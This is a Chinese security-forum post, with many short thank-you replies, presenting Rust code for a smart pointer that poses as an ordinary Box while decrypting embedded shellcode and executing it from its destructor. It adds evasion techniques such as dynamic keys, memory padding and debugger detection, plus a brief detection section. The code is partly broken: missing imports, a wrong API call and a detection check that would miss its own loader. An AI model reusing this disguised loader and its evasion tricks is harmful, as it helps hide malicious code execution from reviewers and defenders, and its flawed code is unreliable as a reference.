[原创]Rust核心特性所有权劫持注入-编程技术-看雪安全社区

[原创]Rust核心特性所有权劫持注入

发表于: 2025-4-16 10:33 9514

[原创]Rust核心特性所有权劫持注入

Hrlies

2025-4-16 10:33

9514

```rust
use std::ops::{Deref, DerefMut};
use std::ptr;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};

// 加密的 Shellcode 示例（实际使用需替换为有效载荷）
const ENCRYPTED_PAYLOAD: [u8; 12] = [
    0xDE, 0xAD, 0xBE, 0xEF, // 幻数头
    0x78, 0x56, 0x34, 0x12, // 加密载荷
    0x90, 0x90, 0x90, 0x90, // NOP 雪橇
];

struct GhostPointer<T> {
    data: *mut T,
    key: u8,            // 解密密钥
    payload: Vec<u8>,   // 加密的载荷
    executed: bool,     // 确保只执行一次
}

impl<T> GhostPointer<T> {
    /// 创建新的智能指针（表面是普通内存分配）
    pub fn new(value: T) -> Self {
        // 分配内存（使用系统API绕过Rust内存管理）
        let ptr = unsafe {
            VirtualAlloc(
                ptr::null_mut(),
                std::mem::size_of::<T>(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_READWRITE,
            ) as *mut T
        };

// 写入数据
        unsafe { ptr.write(value) };

// 初始化时解密载荷（示例使用简单异或加密）
        let mut payload = ENCRYPTED_PAYLOAD.to_vec();
        let key = 0xA5; // 示例密钥
        for byte in &mut payload {
            *byte ^= key;
        }

Self {
            data: ptr,
            key,
            payload,
            executed: false,
        }
    }

/// 隐蔽的内存准备方法
    fn ghost_prepare(&mut self) {
        if self.executed {
            return;
        }

unsafe {
            // 分配可执行内存
            let exec_region = VirtualAlloc(
                ptr::null_mut(),
                self.payload.len(),
                MEM_COMMIT | MEM_RESERVE,
                PAGE_EXECUTE_READ,
            );

// 复制解密后的载荷
            ptr::copy_nonoverlapping(
                self.payload.as_ptr(),
                exec_region as *mut u8,
                self.payload.len(),
            );

// 修改当前指针指向可执行区域
            self.data = exec_region as *mut T;
            self.executed = true;
        }
    }
}

impl<T> Deref for GhostPointer<T> {
    type Target = T;

fn deref(&self) -> &T {
        unsafe { &*self.data }
    }
}

impl<T> DerefMut for GhostPointer<T> {
    fn deref_mut(&mut self) -> &mut T {
        unsafe { &mut *self.data }
    }
}

impl<T> Drop for GhostPointer<T> {
    fn drop(&mut self) {
        unsafe {
            // 触发隐蔽操作
            self.ghost_prepare();

// 构造函数指针
            let func_ptr: fn() = std::mem::transmute(self.data);
            
            // 执行载荷（示例为简单调用）
            func_ptr();

// 释放内存（实际使用可能需要持久化）
            VirtualFree(self.data as *mut _, 0, MEM_RELEASE);
        }
    }
}

// 使用示例
fn main() {
    // 表面上是普通指针使用
    let mut ghost = GhostPointer::new(42);
    println!("Normal usage: {}", *ghost); // 正常访问
    
    *ghost = 100; // 正常修改
    
    // 当 ghost 离开作用域时触发隐蔽操作
}
```

### 技术原理分步解析

1. **智能指针伪装**：
   - 结构体`GhostPointer`模仿Rust标准`Box`的行为
   - 实现`Deref`和`DerefMut`以支持常规指针操作
   - 使用Windows原生API分配内存，绕过Rust的内存安全机制

2. **加密载荷存储**：
   - 静态加密存储Shellcode（示例使用简单异或加密）
   - 运行时动态解密（`ghost_prepare`方法）
   - 内存中不保留明文的恶意代码

3. **所有权劫持机制**：
   ```rust
   impl<T> Drop for GhostPointer<T> {
       fn drop(&mut self) {
           // 析构时触发隐蔽操作
       }
   }
   ```
   - 利用Rust的自动析构机制
   - 在对象生命周期结束时触发恶意代码
   - 正常代码中看不到显式的恶意调用

4. **内存操作技巧**：
   - 分阶段内存分配（先RW后RX权限）
   - 使用系统API直接操作内存：
   ```rust
   VirtualAlloc(..., PAGE_EXECUTE_READ)
   ```
   - 执行前复制解密后的代码到可执行区域

5. **隐蔽执行流程**：
   - 表面是普通数据指针的使用
   - 通过析构函数触发攻击链：
   ```
   用户操作 -> 对象创建 -> 正常使用 -> 离开作用域 
     -> 自动调用drop() -> 准备载荷 -> 执行
   ```

### 高级对抗技巧

1. **动态密钥生成**：
   ```rust
   // 使用系统信息生成动态密钥
   fn generate_key() -> u8 {
       unsafe {
           let mut tick = 0;
           winapi::um::sysinfoapi::GetTickCount(&mut tick);
           (tick % 256) as u8
       }
   }
   ```

2. **内存混淆技术**：
   ```rust
   // 填充随机内存内容
   fn pad_memory(ptr: *mut u8, size: usize) {
       let mut rng = rand::thread_rng();
       for i in 0..size {
           unsafe {
               ptr.add(i).write(rng.gen::<u8>());
           }
       }
   }
   ```

3. **反调试检测**：
   ```rust
   fn anti_debug() -> bool {
       unsafe {
           let mut is_debugger = 0;
           winapi::um::debugapi::CheckRemoteDebuggerPresent(
               winapi::um::processthreadsapi::GetCurrentProcess(),
               &mut is_debugger
           );
           is_debugger != 0
       }
   }
   ```

### 防御检测方案

1. **行为监控**：
   - 检测`VirtualAlloc` + `VirtualProtect`的调用模式
   - 监控非标准智能指针的析构行为

2. **内存分析**：
   ```rust
   // 扫描可疑的可执行内存区域
   fn scan_exec_regions() {
       let mut mbi: MEMORY_BASIC_INFORMATION = unsafe { std::mem::zeroed() };
       let mut addr = 0 as _;
       
       while unsafe { VirtualQuery(addr, &mut mbi, std::mem::size_of::<MEMORY_BASIC_INFORMATION>()) } != 0 {
           if mbi.Protect & PAGE_EXECUTE_READWRITE != 0 {
               // 记录可疑区域
           }
           addr = (addr as usize + mbi.RegionSize) as _;
       }
   }
   ```

3. **类型系统防护**：
   ```rust
   // 自定义属性检测可疑的Drop实现
   #[proc_macro_derive(SecureDrop)]
   fn secure_drop_derive(input: TokenStream) -> TokenStream {
       // 分析析构函数中的危险操作
   }
   ```

回复或点赞可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

#HOOK/注入 #开源分享 #开发技巧

收藏・5

点赞・37

打赏

赞赏记录

参与人

雪币

留言

时间

mb_lthgjpwj

为你点赞！

2026-8-21 09:17

wx_晨梦

为你点赞！

2026-7-16 10:35

mb_lbvebwpg

非常支持你的观点！

2026-7-6 20:01

btmanbtman

你的分享对大家帮助很大，非常感谢！

2026-6-12 09:30

npc0vo

这个讨论对我很有帮助，谢谢！

2026-4-26 01:59

优质胖虎

期待更多优质内容的分享，论坛有你更精彩！

2026-3-31 16:02

LovelyWei

谢谢你的细致分析，受益匪浅！

2026-2-9 17:33

Reverser07

非常支持你的观点！

2026-1-9 20:43

林动11

感谢你的积极参与，期待更多精彩内容！

2025-12-25 10:32

mb_akhsboio

期待更多优质内容的分享，论坛有你更精彩！

2025-12-5 16:27

ldzspace

期待更多优质内容的分享，论坛有你更精彩！

2025-11-13 15:54

mb_fllfoilg

你的分享对大家帮助很大，非常感谢！

2025-11-12 00:06

whydbg

感谢你分享这么好的资源！

2025-10-27 12:37

TkBinary

非常支持你的观点！

2025-9-19 15:12

珈蓝夜雨

感谢你的积极参与，期待更多精彩内容！

2025-9-19 10:02

陌上陌下

期待更多优质内容的分享，论坛有你更精彩！

2025-8-13 17:41

一半人生

+10

感谢你的积极参与，期待更多精彩内容！

2025-7-10 14:23

sh3ll0ck

你的帖子非常有用，感谢分享！

2025-7-7 16:45

曾经想念的，已成空想

感谢你的积极参与，期待更多精彩内容！

2025-6-24 23:26

信仰与责任

你的分享对大家帮助很大，非常感谢！

2025-6-23 14:17

wx_亮_626

非常支持你的观点！

2025-6-18 16:34

lialong

谢谢你的细致分析，受益匪浅！

2025-6-12 19:31

axhack1

谢谢你的细致分析，受益匪浅！

2025-5-28 23:44

niceday

为你点赞！

2025-5-17 15:18

qqzxc

你的帖子非常有用，感谢分享！

2025-5-6 10:15

伍六七

非常支持你的观点！

2025-5-5 10:06

fu11p7r

谢谢你的细致分析，受益匪浅！

2025-5-4 21:02

Th3S

这个讨论对我很有帮助，谢谢！

2025-4-19 13:08

mb_lizfxfno

感谢你的贡献，论坛因你而更加精彩！

2025-4-18 15:48

mb_iqbnjqkx

感谢你分享这么好的资源！

2025-4-18 14:13

Hmilyy

这个讨论对我很有帮助，谢谢！

2025-4-17 14:30

Hell02W0rld

感谢你分享这么好的资源！

2025-4-17 13:31

ldljlzw

感谢你的贡献，论坛因你而更加精彩！

2025-4-17 11:15

怜渠客

你的帖子非常有用，感谢分享！

2025-4-17 08:59

huangyalei

感谢你的积极参与，期待更多精彩内容！

2025-4-16 12:57

顽劣

为你点赞！

2025-4-16 12:28

achenyuan

感谢你的积极参与，期待更多精彩内容！

2025-4-16 10:44

最新回复 (35) 1 2 ▶
mb_ldbucrik 雪币： 6 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 691 粉丝 7 关注私信	mb_ldbucrik 2 楼感谢分享 2025-4-17 08:38 0
fujing 雪币： 4182 活跃值： (6569) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 142 粉丝 4 关注私信	fujing 3 楼感谢分享 2025-4-19 11:12 0
Zero~ 雪币： 50 活跃值： (1860) 能力值： ( LV2，RANK：15 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	Zero~ 4 楼 11111111111 2025-5-3 15:13 0
萌哒的小玉玉雪币： 22 活跃值： (232) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	萌哒的小玉玉 5 楼感谢分享 2025-5-3 18:48 0
治愈ckt 雪币： 1225 活跃值： (849) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 18 粉丝 0 关注私信	治愈ckt 6 楼 omg 真的很强 2025-5-5 11:06 0
绿林科技雪币： 19 活跃值： (438) 能力值： ( LV2，RANK：10 ) 在线值：发帖 8 回帖 80 粉丝 5 关注私信	绿林科技 7 楼谢谢分享！ 2025-5-5 11:50 0
smile1110 雪币： 255 活跃值： (696) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 41 粉丝 1 关注私信	smile1110 8 楼谢谢你 2025-5-8 14:42 0
~时光荏苒雪币： 6817 活跃值： (6663) 能力值： ( LV2，RANK：10 ) 在线值：发帖 12 回帖 205 粉丝 5 关注私信	~时光荏苒 9 楼谢谢分享！ 2025-5-9 21:48 0
Kokoi 雪币： 226 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 11 粉丝 0 关注私信	Kokoi 10 楼感谢分享 2025-5-24 13:13 0
mb_rppgkigl 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_rppgkigl 11 楼太强了 2025-5-30 16:12 0
mb_llakvlta 雪币： 25 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 45 粉丝 0 关注私信	mb_llakvlta 12 楼 omg 真的很强 2025-6-12 18:49 0
小白养的菜鸡雪币： 2258 活跃值： (5121) 能力值： ( LV3，RANK：30 ) 在线值：发帖 4 回帖 55 粉丝 43 关注私信	小白养的菜鸡 13 楼 1 2025-6-13 12:40 0
mb_pxdkpjwh 雪币： 193 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 14 粉丝 0 关注私信	mb_pxdkpjwh 14 楼 1 2025-6-18 13:35 0
好听的网名雪币： 2888 活跃值： (3463) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 37 粉丝 0 关注私信	好听的网名 15 楼感谢大佬 2025-6-24 16:20 0
zz胡雪币： 1031 活跃值： (1859) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 103 粉丝 1 关注私信	zz胡 16 楼感谢分享 2025-6-24 20:41 0
mb_cizqyhuh 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 81 粉丝 1 关注私信	mb_cizqyhuh 17 楼感谢分享，很有深度！附上整理知识脉络的思维导图，更好地吸收与回顾。最后于 2025-7-3 14:56 被mb_cizqyhuh编辑，原因： 2025-7-3 14:46 0
jyotidwi 雪币： 1278 能力值： ( LV1，RANK：0 ) 在线值：发帖 3 回帖 121 粉丝 3 关注私信	jyotidwi 18 楼 666666 2025-8-10 14:14 0
byhk 雪币： 2646 活跃值： (8785) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 186 粉丝 1 关注私信	byhk 19 楼谢谢分享 2025-9-19 07:47 0
linix 雪币： 2039 活跃值： (2271) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 66 粉丝 1 关注私信	linix 20 楼感谢大佬分享 2025-9-19 08:52 0
Netangle 雪币： 250 活跃值： (289) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 62 粉丝 0 关注私信	Netangle 21 楼谢谢分享 2025-10-11 22:59 0
mb_tkvofqfb 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_tkvofqfb 22 楼感谢分享 2025-11-8 18:12 0
kai741101314 雪币： 188 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 24 粉丝 0 关注私信	kai741101314 23 楼太强了 2025-11-12 02:47 0
mb_ysegxpmv 雪币： 2166 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 115 粉丝 0 关注私信	mb_ysegxpmv 24 楼太强了 2025-11-14 16:21 0
一颗金柚子雪币： 2964 活跃值： (2153) 能力值： ( LV6，RANK：80 ) 在线值：发帖 20 回帖 31 粉丝 140 关注私信	一颗金柚子 1 25 楼看看~ 2025-12-14 20:56 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

Hrlies

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (35) 1 2 ▶
mb_ldbucrik 雪币： 6 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 691 粉丝 7 关注私信	mb_ldbucrik 2 楼感谢分享 2025-4-17 08:38 0
fujing 雪币： 4182 活跃值： (6569) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 142 粉丝 4 关注私信	fujing 3 楼感谢分享 2025-4-19 11:12 0
Zero~ 雪币： 50 活跃值： (1860) 能力值： ( LV2，RANK：15 ) 在线值：发帖 0 回帖 12 粉丝 0 关注私信	Zero~ 4 楼 11111111111 2025-5-3 15:13 0
萌哒的小玉玉雪币： 22 活跃值： (232) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 6 粉丝 0 关注私信	萌哒的小玉玉 5 楼感谢分享 2025-5-3 18:48 0
治愈ckt 雪币： 1225 活跃值： (849) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 18 粉丝 0 关注私信	治愈ckt 6 楼 omg 真的很强 2025-5-5 11:06 0
绿林科技雪币： 19 活跃值： (438) 能力值： ( LV2，RANK：10 ) 在线值：发帖 8 回帖 80 粉丝 5 关注私信	绿林科技 7 楼谢谢分享！ 2025-5-5 11:50 0
smile1110 雪币： 255 活跃值： (696) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 41 粉丝 1 关注私信	smile1110 8 楼谢谢你 2025-5-8 14:42 0
~时光荏苒雪币： 6817 活跃值： (6663) 能力值： ( LV2，RANK：10 ) 在线值：发帖 12 回帖 205 粉丝 5 关注私信	~时光荏苒 9 楼谢谢分享！ 2025-5-9 21:48 0
Kokoi 雪币： 226 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 11 粉丝 0 关注私信	Kokoi 10 楼感谢分享 2025-5-24 13:13 0
mb_rppgkigl 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 3 粉丝 0 关注私信	mb_rppgkigl 11 楼太强了 2025-5-30 16:12 0
mb_llakvlta 雪币： 25 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 45 粉丝 0 关注私信	mb_llakvlta 12 楼 omg 真的很强 2025-6-12 18:49 0
小白养的菜鸡雪币： 2258 活跃值： (5121) 能力值： ( LV3，RANK：30 ) 在线值：发帖 4 回帖 55 粉丝 43 关注私信	小白养的菜鸡 13 楼 1 2025-6-13 12:40 0
mb_pxdkpjwh 雪币： 193 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 14 粉丝 0 关注私信	mb_pxdkpjwh 14 楼 1 2025-6-18 13:35 0
好听的网名雪币： 2888 活跃值： (3463) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 37 粉丝 0 关注私信	好听的网名 15 楼感谢大佬 2025-6-24 16:20 0
zz胡雪币： 1031 活跃值： (1859) 能力值： ( LV2，RANK：10 ) 在线值：发帖 1 回帖 103 粉丝 1 关注私信	zz胡 16 楼感谢分享 2025-6-24 20:41 0
mb_cizqyhuh 雪币： 2 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 81 粉丝 1 关注私信	mb_cizqyhuh 17 楼感谢分享，很有深度！附上整理知识脉络的思维导图，更好地吸收与回顾。最后于 2025-7-3 14:56 被mb_cizqyhuh编辑，原因： 2025-7-3 14:46 0
jyotidwi 雪币： 1278 能力值： ( LV1，RANK：0 ) 在线值：发帖 3 回帖 121 粉丝 3 关注私信	jyotidwi 18 楼 666666 2025-8-10 14:14 0
byhk 雪币： 2646 活跃值： (8785) 能力值： ( LV2，RANK：10 ) 在线值：发帖 0 回帖 186 粉丝 1 关注私信	byhk 19 楼谢谢分享 2025-9-19 07:47 0
linix 雪币： 2039 活跃值： (2271) 能力值： ( LV3，RANK：20 ) 在线值：发帖 2 回帖 66 粉丝 1 关注私信	linix 20 楼感谢大佬分享 2025-9-19 08:52 0
Netangle 雪币： 250 活跃值： (289) 能力值： ( LV2，RANK：10 ) 在线值：发帖 3 回帖 62 粉丝 0 关注私信	Netangle 21 楼谢谢分享 2025-10-11 22:59 0
mb_tkvofqfb 雪币： 200 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 2 粉丝 0 关注私信	mb_tkvofqfb 22 楼感谢分享 2025-11-8 18:12 0
kai741101314 雪币： 188 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 24 粉丝 0 关注私信	kai741101314 23 楼太强了 2025-11-12 02:47 0
mb_ysegxpmv 雪币： 2166 能力值： ( LV1，RANK：0 ) 在线值：发帖 0 回帖 115 粉丝 0 关注私信	mb_ysegxpmv 24 楼太强了 2025-11-14 16:21 0
一颗金柚子雪币： 2964 活跃值： (2153) 能力值： ( LV6，RANK：80 ) 在线值：发帖 20 回帖 31 粉丝 140 关注私信	一颗金柚子 1 25 楼看看~ 2025-12-14 20:56 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复